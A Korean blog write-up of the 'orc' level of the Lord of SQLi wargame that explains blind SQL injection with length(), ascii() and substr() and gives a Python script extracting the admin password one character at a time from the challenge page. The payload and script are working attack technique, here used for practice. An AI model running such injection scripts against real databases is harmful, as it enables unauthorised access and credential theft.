본문 바로가기
Web/Los

Los - orc

by 09337 2020. 12. 29.

orc를 풀기 전, 알아두면 좋은 개념 및 함수

 

Blind SQL Injection

Blind SQL Injection을 정리하기 이전에, 알고가면 좋은 개념과 함수에 대해 먼저 정리한다. 이 공격기법은 일반적으로 ' or 1=1-- 와 같은 공격패턴을 사용하는 인증우회(Auth Bypass)기법의 상위 단계라고

lyk00331.tistory.com


pw가 참이어도, id가 admin인 계정과 비교하여 일치할 때 Flag가 나오기 때문에 정확한 pw를 알아야 한다.


pw길이 구하기

이 문제는 db에 존재하는 admin 계정의 pw와 우리가 입력할 pw가 일치해야 풀리도록 만들어졌다.

그래서 pw 길이를 일단 알아야 하고, 그 후에 substring 함수로 정확한 pw를 구할 것이다.

주어진 쿼리에서 우리가 입력할 수 있는 부분은 pw밖에 없다.

우선 pw를 닫기 위한 따옴표를 작성한 후, 새로운 쿼리문을 만들어준다.

and는 둘 다 참이어야 참이 되고, or는 둘 중 하나라도 참이면 참이라는 연산자이기 때문에, or로 앞 쿼리는 거짓이더라도 뒤에 우리가 새로 입력해서 보낼 쿼리문은 참으로 만들어서 결과적으로 하나라도 참이니 전체 쿼리가 참이 되게끔 작성해준다.

id는 admin이 되고, pw의 길이를 알아내기 위해서 length 함수를 사용해서 값을 받아준다. 차례대로 값을 넣어보면 8을 넣었을 때 Hello admin이 나타난 것으로 보아 쿼리가 참이라는 것을 알 수 있고, pw 길이는 8이 된다.

 

ascii(), substr() 이용해서 정확한 pw 구하기

마찬가지로 pw의 쿼리를 닫아주고, 새로운 id는 admin, pw를 구하기 위해서 ascii와 substr 함수를 사용해주었다.

ascii함수에 필요한 값에 49를 넣었을 때는 49보다 작다는 조건에 쿼리가 참으로 동작했고, 48을 넣어서 48보다 작다는 조건에서는 거짓이었기 때문에 pw의 첫 번째 값은 아스키코드로 48인 문자 0이라는 것을 알아냈다.

그러나 이런 방식으로 8글자 모두 알아내기에는 너무 많은 시간이 걸리기 때문에, 자동으로 알아내기 위한 툴을 짰다.

import urllib,requests

password=""

for j in range(1,9):
  for i in range(48,128):
    try:
      url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=' or id='admin' and ascii(substr(pw," + str(j) + ",1))=" + str(i) + "%23"
      cookies = {'PHPSESSID':'자신의 PHPSESSID'}
      r = requests.post(url,cookies=cookies)
    except:
      print ("Error") 
      continue

    if 'Hello admin' in r.text:
      password = password + chr(i)
      print (password)
      break

str = 문자열로 변환

chr = 유니코드 문자로 변환

파이썬의 내부 함수인 위 함수를 잘 알아둬야 플래그를 구할 수 있다.

 

8번째 줄에서 쿼리문을 작성해줄 때, j는 자릿수를 뜻하기 대문에 str함수를, i는 포맷이 아스키코드이기 때문에 str을 사용했다.

16번째 줄에서 최종적으로 Flag를 구하기 위해서는 아스키코드를 유니코드 문자로 변환시켜야 하기 때문에 chr 함수를 사용했다.

 

마지막으로 파라미터로 값을 전송하면 문제가 풀린다.

'Web > Los' 카테고리의 다른 글

Los - goblin  (0) 2020.12.05
Los - cobolt  (0) 2020.12.04
Los - gremlin  (0) 2020.07.15

댓글